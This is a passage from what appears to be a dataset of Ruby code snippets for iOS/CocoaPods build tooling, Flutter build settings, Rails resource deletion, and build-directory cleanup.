'build/tvos'\n end\nend", "def mobile_sdk_pre_install(installer)\n dynamic_framework = ['SalesforceAnalytics', 'SalesforceSDKCore', 'SalesforceSDKCommon', 'SmartStore', 'FMDB', 'SQLCipher', 'MobileSync']\n installer.pod_targets.each do |pod|\n if dynamic_framework.include?(pod.name)\n def pod.build_type\n Pod::BuildType.dynamic_framework\n end\n end\n end\nend", "def remove()\n CCProcess.start(\"sdk-manage --target --remove '#{@name}'\", (_ :removing_target) + \" #{@name}\", 60*15)\n @@targets.delete(@name)\n end", "def frameworks_build_phase\n phase = build_phases.find { |bp| bp.class == PBXFrameworksBuildPhase }\n unless phase\n phase= project.new(PBXFrameworksBuildPhase)\n build_phases << phase\n end\n phase\n end", "def patch_kingfisher_for_ios10\n system(\"rm -rf ./Pods/Kingfisher/Sources/SwiftUI\")\n code_file = \"./Pods/Kingfisher/Sources/General/KFOptionsSetter.swift\"\n code_text = File.read(code_file)\n code_text.gsub!(/#if canImport\\(SwiftUI\\) \\&\\& canImport\\(Combine\\)(.|\\n)+#endif/,'')\n system(\"rm -rf \" + code_file)\n aFile = File.new(code_file, 'w+')\n aFile.syswrite(code_text)\n aFile.close()\nend", "def deintegrate_if_different_major_version\n return unless lockfile\n return if lockfile.cocoapods_version.major == Version.create(VERSION).major\n UI.section('Re-creating CocoaPods due to major version update.') do\n projects = Pathname.glob(config.installation_root + '*.xcodeproj').map { |path| Xcodeproj::Project.open(path) }\n deintegrator = Deintegrator.new\n projects.each do |project|\n config.with_changes(:silent => true) { deintegrator.deintegrate_project(project) }\n project.save if project.dirty?\n end\n end\n end", "def update_app\n in_root do\n run(\"echo 'a' | rake rails:update:scripts\")\n run(\"echo 'a' | rake rails:update:javascripts\")\n run(\"echo 'a' | rake rails:update:configs\")\n run(\"echo 'a' | rake rails:update:application_controller\")\n\n if @javascript_library != \"prototype\"\n run \"rm public/javascripts/controls.js\"\n run \"rm public/javascripts/dragdrop.js\"\n run \"rm public/javascripts/effects.js\"\n run \"rm public/javascripts/prototype.js\"\n end\n end\nend", "def delete_master_launch_script(date)\n delete_upstart_script(:master, date)\n end", "def destroy\n @framework.destroy\n respond_to do |format|\n format.html { redirect_to frameworks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @project=Project.find(params[:project_id])\n @script = @project.scripts.find(params[:id])\n @script.destroy\n\n respond_to do |format|\n format.html { redirect_to project_scripts_path(@project) }\n format.json { head :no_content }\n end\n end", "def create_carthage_script_phase_for_test_targets(project, name)\n frameworks.each do |platform, fs|\n t = target(project, name, platform, true)\n add_carthage_script(t, platform, fs)\n end\nend", "def delete_mock_project\n FileUtils.rm_rf(@project_path)\n end", "def delete_script\n\t\tupdate_script = Script.find_by(id: self.script_tag)\n\t\tupdate_script.destroy if update_script\n\tend", "def after_destroy\n bundle_dir = File.join( self.userfolder, self.bundle_src_folder )\n logger.info(\"==================> Remove all bundle files for: \" + bundle_dir )\n %x[rm -f -R #{bundle_dir}]\n \n # delete bundle image file name\n %x[rm #{fq_bundle_image_filename('*')}]\n \n #delete sample audio prompt\n %x[rm #{fq_bundle_sample_prompt}]\n end", "def clean\n FileUtils.rm(\"#{build_name}.json\")\n end", "def remove_python_compiled_files path\n logger.debug(\"Now removing python object and compiled files from the virtualenv\")\n Find.find(path) do |path|\n if path.end_with? '.pyc' or path.end_with? '.pyo'\n FileUtils.rm path\n end\n end\n end", "def sort_project_build_phase\n puts \"Reordering build phase...\"\n\n project = Xcodeproj::Project.open(\"Traveloka.xcodeproj\")\n\n project.native_targets.each { |target|\n\n if target.name == \"Traveloka\" || target.name == \"Traveloka Staging\"\n # Take the native embed frameworks phase and pods build phases.\n native_embed_phase = target.build_phases.select { | build_phase |\n build_phase.to_s == \"Embed Frameworks\"\n }.first\n pods_embed_phase = target.build_phases.select { | build_phase |\n build_phase.to_s == \"[CP] Embed Pods Frameworks\"\n }.first\n pods_copy_phase = target.build_phases.select { | build_phase |\n build_phase.to_s == \"[CP] Copy Pods Resources\"\n }.first\n\n index_native_embed_phase = target.build_phases.index(native_embed_phase)\n\n # Shift the phase to below embed frameworks phase in native build phase.\n if index_native_embed_phase < target.build_phases.length && (pods_embed_phase != nil && pods_copy_phase != nil)\n target.build_phases.delete(pods_embed_phase)\n target.build_phases.delete(pods_copy_phase)\n target.build_phases.insert(index_native_embed_phase + 1, pods_copy_phase)\n target.build_phases.insert(index_native_embed_phase + 1, pods_embed_phase)\n end\n end\n }\n\n project.save\n\n puts \"\\e[32m√ Build phase reorder complete!\\e[0m\"\nend", "def keep_source_code_for_prebuilt_frameworks!\n DSL.dont_remove_source_code = true\n end", "def prebuilt_apple_framework_targets\n filter_targets(@targets, 'prebuilt_apple_framework')\n end", "def clean_runtime_dirs(options)\n dirs = []\n %w(dependencies build_dependencies repo).each do |dir|\n dirs << dir if options[dir.to_sym] == true\n end\n\n return if dirs.empty?\n\n dirs.map! { |dir| \"app-root/runtime/#{dir.gsub(/_/, '-')}/*\" }\n\n out, err, rc = run_in_container_context(\"shopt -s dotglob; rm -rf #{dirs.join(' ')}\",\n chdir: @container_dir,\n expected_exitstatus: 0)\n end", "def remove!\n windows_package 'Chef Development Kit' do\n action :remove\n end\n end", "def uninstall(assets); end", "def delete_stage_for_test stage_data\n cli.delete_stage stage_data\nrescue\nend", "def kill_precompiled_assets!\n dir = File.join(Rails.root, 'public', 'assets')\n FileUtils.rm_rf(dir) if Dir.exist?(dir)\nend", "def release_pods\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => 'master'\n pod 'BasicUIElements', :git => 'git@github.com:kevinOlivet/BasicUIElements.git', :branch => 'master'\n pod 'CuotasModule', :git => 'git@github.com:kevinOlivet/CuotasModule.git', :branch => 'master'\nend", "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n device, \n simulator,\n bitcode_enabled)\n\n deployment_target = target.platform.deployment_target.to_s\n \n target_label = target.label\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = [] \n if bitcode_enabled\n other_options += ['OTHER_CFLAGS=\"-fembed-bitcode\"']\n end\n xcodebuild(sandbox, target_label, device, deployment_target, other_options)\n xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'])\n\n root_name = target.pod_name\n module_name = target.product_module_name\n \n executable_path = \"#{build_dir}/#{root_name}\"\n device_lib = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{root_name}/#{module_name}.framework/#{module_name}\"\n device_framework_lib = File.dirname(device_lib)\n simulator_lib = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{root_name}/#{module_name}.framework/#{module_name}\"\n\n return unless File.file?(device_lib) && File.file?(simulator_lib)\n\n lipo_log = `lipo -create -output #{executable_path} #{device_lib} #{simulator_lib}`\n puts lipo_log unless File.exist?(executable_path)\n\n FileUtils.mv executable_path, device_lib, :force => true\n output_path.mkpath unless output_path.exist?\n FileUtils.mv device_framework_lib, output_path, :force => true\n FileUtils.rm simulator_lib if File.file?(simulator_lib)\n FileUtils.rm device_lib if File.file?(device_lib)\nend", "def remove_third_party_scripts(doc)\n scripts = doc.at('#third-party-scripts')\n scripts.remove if scripts\n end", "def clean\n unless @configuration.skip_clean\n print \"Cleaning Project...\"\n xcodebuild @configuration.build_arguments, \"clean\"\n puts \"Done\"\n end\n end", "def create_or_update_copy_xcframeworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + COPY_XCFRAMEWORKS_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n reorder_script_phase(native_target, phase, :before_compile)\n end", "def add_copy_dsyms_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_dsyms_script_path.relative_path_from(target.sandbox.root)}\"\n dsym_paths = PodTargetInstaller.dsym_paths(target)\n bcsymbolmap_paths = PodTargetInstaller.bcsymbolmap_paths(target)\n\n if dsym_paths.empty? && bcsymbolmap_paths.empty?\n script_phase = native_target.shell_script_build_phases.find do |bp|\n bp.name && bp.name.end_with?(UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME)\n end\n native_target.build_phases.delete(script_phase) if script_phase.present?\n return\n end\n\n phase_name = UserProjectIntegrator::TargetIntegrator::BUILD_PHASE_PREFIX + UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME\n phase = UserProjectIntegrator::TargetIntegrator.create_or_update_shell_script_build_phase(native_target, phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n input_file_list_path = target.copy_dsyms_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = []\n input_paths.concat([dsym_paths, *bcsymbolmap_paths].flatten.compact)\n\n output_file_list_path = target.copy_dsyms_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths = output_paths_by_config[output_paths_key] = []\n\n dsym_output_paths = dsym_paths.map { |dsym_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(dsym_path)}\" }\n bcsymbolmap_output_paths = bcsymbolmap_paths.map { |bcsymbolmap_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(bcsymbolmap_path)}\" }\n output_paths.concat([dsym_output_paths, *bcsymbolmap_output_paths].flatten.compact)\n end\n\n UserProjectIntegrator::TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def remove_watchman_trigger\n if watchman_trigger_installed?\n `watchman trigger-del #{root_dir} 'trigger_rebuild'`\n end\nend", "def build_framework?; ARGV.include? '--framework'; end", "def fixup_framework_bundle(framework_path)\n\t# ensure the Resources directory exists under Versions/Current\n\t# and that it contains an Info.plist file.\n\t#\n\t# When the Qt 4 framework bundles are built, the Info.plist file\n\t# is incorrectly placed in Contents/Info.plist, so move it if necessary\n\tcontent_plist = \"#{framework_path}/Contents/Info.plist\"\n\tresource_dir = \"#{framework_path}/Resources\"\n\tresource_plist = \"#{resource_dir}/Info.plist\"\n\n\tFileUtils.mkpath \"#{framework_path}/Versions/Current/Resources\"\n\tFileUtils.ln_sf 'Versions/Current/Resources', \"#{framework_path}/Resources\"\n\n\tif File.exist?(content_plist) && !File.exist?(resource_plist)\n\t\tFileUtils.cp content_plist, resource_plist\n\tend\n\n\t# Remove anything from the root of the bundle which is not a symlink\n\t# or the 'Versions' directory - see link above to Apple's documentation\n\t# on the structure of framework bundles\n\tDir.foreach(framework_path) do |entry|\n\t\tnext if entry == '.' || entry == '..'\n\n\t\tfile_info = File.lstat(\"#{framework_path}/#{entry}\")\n\n\t\tif entry != 'Versions' && file_info.ftype != 'link'\n\t\t\t$stderr.puts \"Removing unexpected entry from framework bundle root #{framework_path}/#{entry}\"\n\t\t\tFileUtils.rm_rf \"#{framework_path}/#{entry}\"\n\t\tend\n\tend\nend", "def skip_xcodebuild?\n ENV['SKIP_XCODEBUILD']\nend", "def destroy\n app = extract_app\n info = heroku.info(app)\n url = info[:domain_name] || \"http://#{info[:name]}.#{heroku.host}/\"\n\n if confirm_command(app)\n redisplay \"Destroying #{app} (including all add-ons)... \"\n heroku.destroy(app)\n if remotes = git_remotes(Dir.pwd)\n remotes.each do |remote_name, remote_app|\n next if app != remote_app\n git \"remote rm #{remote_name}\"\n end\n end\n display \"done\"\n end\n end", "def unpin_script(script)\n devtools.runtime.evaluate(expression: script.remove)\n devtools.page.remove_script_to_evaluate_on_new_document(identifier: script.devtools_identifier)\n pinned_scripts.delete(script)\n end", "def remove_old_package\n template_files.clear\n test_cases.clear\n self.import_job = nil\n end", "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n deployment_target, \n device, \n simulator,\n bitcode_enabled,\n custom_build_options = [], # Array<String>\n custom_build_options_simulator = [] # Array<String>\n )\n \n target_label = target.label # name with platform if it's used in multiple platforms\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = []\n # bitcode enabled\n other_options += ['BITCODE_GENERATION_MODE=bitcode'] if bitcode_enabled\n # make less arch to iphone simulator for faster build\n custom_build_options_simulator += ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'] if simulator == 'iphonesimulator'\n\n is_succeed, _ = xcodebuild(sandbox, target_label, device, deployment_target, other_options + custom_build_options)\n exit 1 unless is_succeed\n is_succeed, _ = xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + custom_build_options_simulator)\n exit 1 unless is_succeed\n\n # paths\n target_name = target.name # equals target.label, like \"AFNeworking-iOS\" when AFNetworking is used in multiple platforms.\n module_name = target.product_module_name\n device_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{target_name}/#{module_name}.framework\"\n simulator_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{target_name}/#{module_name}.framework\"\n if !File.directory?(device_framework_path)\n # Newer Xcodes seem to build all in one directory.\n device_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{module_name}.framework\"\n simulator_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{module_name}.framework\"\n end\n output_framework_path = \"#{output_path}/#{module_name}.framework\"\n\n device_binary = device_framework_path + \"/#{module_name}\"\n simulator_binary = simulator_framework_path + \"/#{module_name}\"\n return unless File.file?(device_binary) && File.file?(simulator_binary)\n \n # the device_lib path is the final output file path\n # combine the binaries\n tmp_lipoed_binary_path = \"#{build_dir}/#{target_name}\"\n lipo_log = `lipo -create -output #{tmp_lipoed_binary_path} #{device_binary} #{simulator_binary}`\n Pod::UI.puts lipo_log unless File.exist?(tmp_lipoed_binary_path)\n FileUtils.mv tmp_lipoed_binary_path, device_binary, :force => true\n \n # collect the swiftmodule file for various archs.\n device_swiftmodule_path = device_framework_path + \"/Modules/#{module_name}.swiftmodule\"\n simulator_swiftmodule_path = simulator_framework_path + \"/Modules/#{module_name}.swiftmodule\"\n if File.exist?(device_swiftmodule_path)\n FileUtils.cp_r simulator_swiftmodule_path + \"/.\", device_swiftmodule_path\n end\n\n # combine the generated swift headers\n # (In xcode 10.2, the generated swift headers vary for each archs)\n # https://github.com/leavez/cocoapods-binary/issues/58\n simulator_generated_swift_header_path = simulator_framework_path + \"/Headers/#{module_name}-Swift.h\"\n device_generated_swift_header_path = device_framework_path + \"/Headers/#{module_name}-Swift.h\"\n if File.exist? simulator_generated_swift_header_path\n device_header = File.read(device_generated_swift_header_path)\n simulator_header = File.read(simulator_generated_swift_header_path)\n # https://github.com/Carthage/Carthage/issues/2718#issuecomment-473870461\n combined_header_content = %Q{\n#if TARGET_OS_SIMULATOR // merged by cocoapods-binary\n\n#{simulator_header}\n\n#else // merged by cocoapods-binary\n\n#{device_header}\n\n#endif // merged by cocoapods-binary\n}\n File.write(device_generated_swift_header_path, combined_header_content.strip)\n end\n\n # handle the dSYM files\n device_dsym = \"#{device_framework_path}.dSYM\"\n device_dsym_output_path = \"#{output_framework_path}.dSYM\"\n if File.exist? device_dsym\n # lipo the simulator dsym\n simulator_dsym = \"#{simulator_framework_path}.dSYM\"\n if File.exist? simulator_dsym\n tmp_lipoed_binary_path = \"#{output_path}/#{module_name}.draft\"\n lipo_log = `lipo -create -output #{tmp_lipoed_binary_path} #{device_dsym}/Contents/Resources/DWARF/#{module_name} #{simulator_dsym}/Contents/Resources/DWARF/#{module_name}`\n puts lipo_log unless File.exist?(tmp_lipoed_binary_path)\n FileUtils.mv tmp_lipoed_binary_path, \"#{device_framework_path}.dSYM/Contents/Resources/DWARF/#{module_name}\", :force => true\n end\n # move\n FileUtils.rm_r device_dsym_output_path if Dir.exist? device_dsym_output_path\n File.rename device_dsym, device_dsym_output_path\n end\n\n # output\n output_path.mkpath unless output_path.exist?\n FileUtils.rm_r output_framework_path if Dir.exist? output_framework_path\n File.rename device_framework_path, output_framework_path\n\nend", "def destroy_build_cartridge\n return true if !builds?\n cart = Cartridge.new({:application => self, :as => as, :name => building_with}, true)\n cart.destroy\n rescue ActiveResource::ConnectionError => e\n raise unless set_remote_errors(e, true)\n #end.tap{ |success| cart.errors.full_messages.each{ |m| errors.add(:base, m) } unless success }\n end", "def destroy_build_cartridge\n return true if !builds?\n cart = Cartridge.new({:application => self, :as => as, :name => building_with}, true)\n cart.destroy\n rescue ActiveResource::ConnectionError => e\n raise unless set_remote_errors(e, true)\n #end.tap{ |success| cart.errors.full_messages.each{ |m| errors.add(:base, m) } unless success }\n end", "def delete_extra_slides\n execute_applescript('delete_extra_slides', slides_count)\n end", "def clean_build_directory\n FileUtils.rm_rf Dir.glob(File.join(@project.build_path, '*'))\n end", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << ' -DFB_SONARKIT_ENABLED=1 '\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << ' -DFB_SONARKIT_ENABLED=1 '\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def perform(force=false)\n if Projects::dotenv.exists?\n if !force\n print \"Would you like to remove your default configuration file? ([K]eep/[r]emove): \"\n remove = STDIN.gets.chomp.downcase\n end\n\n if ['r','remove'].include?(remove) || force\n puts \"Removing default config file...\".yellow\n Projects::dotenv.unlink\n end\n end\n\n if Projects::projects_file.exists?\n if !force\n print \"Would you like to remove your .projects file? ([k]eep/[r]emove): \"\n remove = STDIN.gets.chomp.downcase\n end\n\n if ['r','remove'].include?(remove) || force\n puts \"Removing .projects file...\".yellow\n Projects::projects_file.unlink\n end\n end\n \n if Projects::ignore_file.exists?\n if !force\n print \"Would you like to remove your .ignore file? ([k]eep/[r]emove): \"\n remove = STDIN.gets.chomp.downcase\n end\n\n if ['r','remove'].include?(remove) || force\n puts \"Removing .ignore file...\".yellow\n Projects::ignore_file.unlink\n end\n end\n\n if Projects::procfile.exists?\n if !force\n print \"Would you like to remove your Procfile? ([k]eep/[r]emove): \"\n remove = STDIN.gets.chomp.downcase\n end\n\n if ['r','remove'].include?(remove) || force\n puts \"Removing Procfile...\".yellow\n Projects::procfile.unlink\n end\n end\n end", "def destroy\n @stage_common_option.destroy\n end", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << '-DFB_SONARKIT_ENABLED=1'\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << '-DFB_SONARKIT_ENABLED=1'\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def delete_coffeescript source_path\n if not File.exists?(File.dirname(File.expand_path(source_path, __FILE__)))\n return\n end\n \n generated_directory = File.dirname(File.expand_path(source_path, __FILE__))\n Dir.foreach(generated_directory) do |file|\n if file != generated_directory && file == '.' && file == '..'\n if File.directory?(file)\n FileUtils.rm_rf(file)\n else\n FileUtils.rm(file)\n end\n end\n end\n end", "def delete_service_files(resource)\n file get_service_script_name(resource) do\n action :delete\n only_if { get_service_script_name != nil }\n end\nend", "def remove(hash, package_name, version, args = {})\n hash = hash.to_smash\n arch = [args.fetch(:arch, all_map)].flatten.compact\n deleted = false\n arch.each do |arch_name|\n arch_name = \"binary-#{arch_name}\"\n if hash.get(:apt, origin, dist, :components, component, arch_name, package_name)\n if version\n deleted = hash[:apt][origin][dist][:components][component][arch_name][package_name].delete(version)\n else\n deleted = hash[:apt][origin][dist][:components][component][arch_name].delete(package_name)\n end\n end\n end\n !!deleted\n end", "def delete_post_commit\n file_path = @path + '/.git/hooks/post-commit'\n if File.exists? file_path\n File.delete file_path\n end\n end", "def flutter_additional_ios_build_settings(target)\n return unless target.platform_name == :ios\n\n # [target.deployment_target] is a [String] formatted as \"8.0\".\n inherit_deployment_target = target.deployment_target[/\\d+/].to_i < 11\n\n # ARC code targeting iOS 8 does not build on Xcode 14.3.\n force_to_arc_supported_min = target.deployment_target[/\\d+/].to_i < 9\n\n # This podhelper script is at $FLUTTER_ROOT/packages/flutter_tools/bin.\n # Add search paths from $FLUTTER_ROOT/bin/cache/artifacts/engine.\n artifacts_dir = File.join('..', '..', '..', '..', 'bin', 'cache', 'artifacts', 'engine')\n debug_framework_dir = File.expand_path(File.join(artifacts_dir, 'ios', 'Flutter.xcframework'), __FILE__)\n\n unless Dir.exist?(debug_framework_dir)\n # iOS artifacts have not been downloaded.\n raise \"#{debug_framework_dir} must exist. If you're running pod install manually, make sure \\\"flutter precache --ios\\\" is executed first\"\n end\n\n release_framework_dir = File.expand_path(File.join(artifacts_dir, 'ios-release', 'Flutter.xcframework'), __FILE__)\n # Bundles are com.apple.product-type.bundle, frameworks are com.apple.product-type.framework.\n target_is_resource_bundle = target.respond_to?(:product_type) && target.product_type == 'com.apple.product-type.bundle'\n\n target.build_configurations.each do |build_configuration|\n # Build both x86_64 and arm64 simulator archs for all dependencies. If a single plugin does not support arm64 simulators,\n # the app and all frameworks will fall back to x86_64. Unfortunately that case is not detectable in this script.\n # Therefore all pods must have a x86_64 slice available, or linking a x86_64 app will fail.\n build_configuration.build_settings['ONLY_ACTIVE_ARCH'] = 'NO' if build_configuration.type == :debug\n\n # Workaround https://github.com/CocoaPods/CocoaPods/issues/11402, do not sign resource bundles.\n if target_is_resource_bundle\n build_configuration.build_settings['CODE_SIGNING_ALLOWED'] = 'NO'\n build_configuration.build_settings['CODE_SIGNING_REQUIRED'] = 'NO'\n build_configuration.build_settings['CODE_SIGNING_IDENTITY'] = '-'\n build_configuration.build_settings['EXPANDED_CODE_SIGN_IDENTITY'] = '-'\n end\n\n # ARC code targeting iOS 8 does not build on Xcode 14.3. Force to at least iOS 9.\n build_configuration.build_settings['IPHONEOS_DEPLOYMENT_TARGET'] = '9.0' if force_to_arc_supported_min\n\n # Skip other updates if it's not a Flutter plugin (transitive dependency).\n next unless target.dependencies.any? { |dependency| dependency.name == 'Flutter' }\n\n # Bitcode is deprecated, Flutter.framework bitcode blob will have been stripped.\n build_configuration.build_settings['ENABLE_BITCODE'] = 'NO'\n\n # Profile can't be derived from the CocoaPods build configuration. Use release framework (for linking only).\n configuration_engine_dir = build_configuration.type == :debug ? debug_framework_dir : release_framework_dir\n Dir.new(configuration_engine_dir).each_child do |xcframework_file|\n next if xcframework_file.start_with?('.') # Hidden file, possibly on external disk.\n if xcframework_file.end_with?('-simulator') # ios-arm64_x86_64-simulator\n build_configuration.build_settings['FRAMEWORK_SEARCH_PATHS[sdk=iphonesimulator*]'] = \"\\\"#{configuration_engine_dir}/#{xcframework_file}\\\" $(inherited)\"\n elsif xcframework_file.start_with?('ios-') # ios-arm64\n build_configuration.build_settings['FRAMEWORK_SEARCH_PATHS[sdk=iphoneos*]'] = \"\\\"#{configuration_engine_dir}/#{xcframework_file}\\\" $(inherited)\"\n # else Info.plist or another platform.\n end\n end\n build_configuration.build_settings['OTHER_LDFLAGS'] = '$(inherited) -framework Flutter'\n\n build_configuration.build_settings['CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER'] = 'NO'\n # Suppress warning when pod supports a version lower than the minimum supported by Xcode (Xcode 12 - iOS 9).\n # This warning is harmless but confusing--it's not a bad thing for dependencies to support a lower version.\n # When deleted, the deployment version will inherit from the higher version derived from the 'Runner' target.\n # If the pod only supports a higher version, do not delete to correctly produce an error.\n build_configuration.build_settings.delete 'IPHONEOS_DEPLOYMENT_TARGET' if inherit_deployment_target\n\n # Override legacy Xcode 11 style VALID_ARCHS[sdk=iphonesimulator*]=x86_64 and prefer Xcode 12 EXCLUDED_ARCHS.\n build_configuration.build_settings['VALID_ARCHS[sdk=iphonesimulator*]'] = '$(ARCHS_STANDARD)'\n build_configuration.build_settings['EXCLUDED_ARCHS[sdk=iphonesimulator*]'] = '$(inherited) i386'\n build_configuration.build_settings['EXCLUDED_ARCHS[sdk=iphoneos*]'] = '$(inherited) armv7'\n end\nend", "def destroy_and_remove_workspace\n if Rails.env.production?\n return\n end\n Rails.logger.info \"Removing workspace #{firecloud_project}/#{firecloud_workspace} in #{Rails.env} environment\"\n begin\n ApplicationController.firecloud_client.delete_workspace(firecloud_project, firecloud_workspace) unless detached\n DeleteQueueJob.new(self.metadata_file).delay.perform if self.metadata_file.present?\n destroy\n rescue => e\n Rails.logger.error \"Error in removing #{firecloud_project}/#{firecloud_workspace}\"\n Rails.logger.error \"#{e.class.name}:\"\n Rails.logger.error \"#{e.message}\"\n destroy # ensure deletion of study, even if workspace is orphaned\n end\n Rails.logger.info \"Workspace #{firecloud_project}/#{firecloud_workspace} successfully removed.\"\n end", "def wrap_xcodebuild\n require 'fileutils'\n @wrapped_xcodebuild_path ||= File.join(Gym::ROOT, \"lib/assets/wrap_xcodebuild/xcbuild-safe.sh\")\n end", "def update_frameworks(name)\n\n path = \"#{Dir.pwd}/#{name}.xcodeproj\"\n\n if !Dir.exist?(path) then\n puts \"No project!\"\n return\n end\n\n update_carthage()\n inject_frameworks(name)\nend", "def build_framework?; build.include? 'framework'; end", "def create_or_update_shell_script_build_phase(native_target, script_phase_name, show_env_vars_in_log = '0')\n build_phases = native_target.build_phases.grep(Xcodeproj::Project::Object::PBXShellScriptBuildPhase)\n build_phases.find { |phase| phase.name && phase.name.end_with?(script_phase_name) }.tap { |p| p.name = script_phase_name if p } ||\n native_target.project.new(Xcodeproj::Project::Object::PBXShellScriptBuildPhase).tap do |phase|\n UI.message(\"Adding Build Phase '#{script_phase_name}' to project.\") do\n phase.name = script_phase_name\n unless show_env_vars_in_log.nil?\n phase.show_env_vars_in_log = show_env_vars_in_log\n end\n native_target.build_phases << phase\n end\n end\n end", "def cleanup_nontarget_files\n\n delete_dir = File.expand_path(File.join(app.build_dir, 'Resources/', 'Base.lproj/', 'assets/', 'images/'))\n\n puts_blue \"Cleaning up excess image files from target '#{options.Target}'\"\n puts_red \"Images for the following targets are being deleted from the build directory:\"\n\n (options.Targets.keys - [options.Target]).each do |target|\n\n puts_red \"#{target.to_s}\"\n Dir.glob(\"#{delete_dir}/**/#{target}-*.{jpg,png,gif}\").each do |f|\n puts_red \" Deleting #{File.basename(f)}\"\n File.delete(f)\n end\n end\n\n puts_red \"\\nImages prefixed all- are being deleted if a corresponding #{options.Target}- exists.\"\n\n Dir.glob(\"#{delete_dir}/**/all-*.{jpg,png,gif}\").each do |f|\n if File.exist?( f.sub(\"all-\", \"#{options.Target}-\") )\n puts_red \" Deleting #{File.basename(f)}\"\n File.delete(f)\n end\n end\n\n\n end", "def delete_stage(api_id, env)\r\n @client.delete_stage(rest_api_id: api_id, stage_name: env)\r\n puts 'Deleted API gateway stage ' + env\r\n rescue Aws::APIGateway::Errors::NotFoundException\r\n puts 'API Gateway stage ' + env + ' does not exist. Nothing to delete.'\r\n end", "def mobile_sdk_post_install(installer)\n installer.pods_project.targets.each do |target|\n # ARC code targeting iOS 8 does not build on Xcode 14.3. Force to at least iOS 9.\n force_to_arc_supported_min = target.deployment_target.to_i < 9\n if force_to_arc_supported_min\n change_deployment_target(target, '9.0')\n end\n \n # Mobile SDK targets\n is_mobile_sdk_target = ['SalesforceAnalytics', 'SalesforceSDKCommon', 'SalesforceSDKCore', 'SmartStore', 'MobileSync', 'SalesforceReact', 'FMDB'].include?(target.name)\n if is_mobile_sdk_target\n change_deployment_target(target, '15.0')\n end\n end\nend", "def create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + EMBED_FRAMEWORK_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, 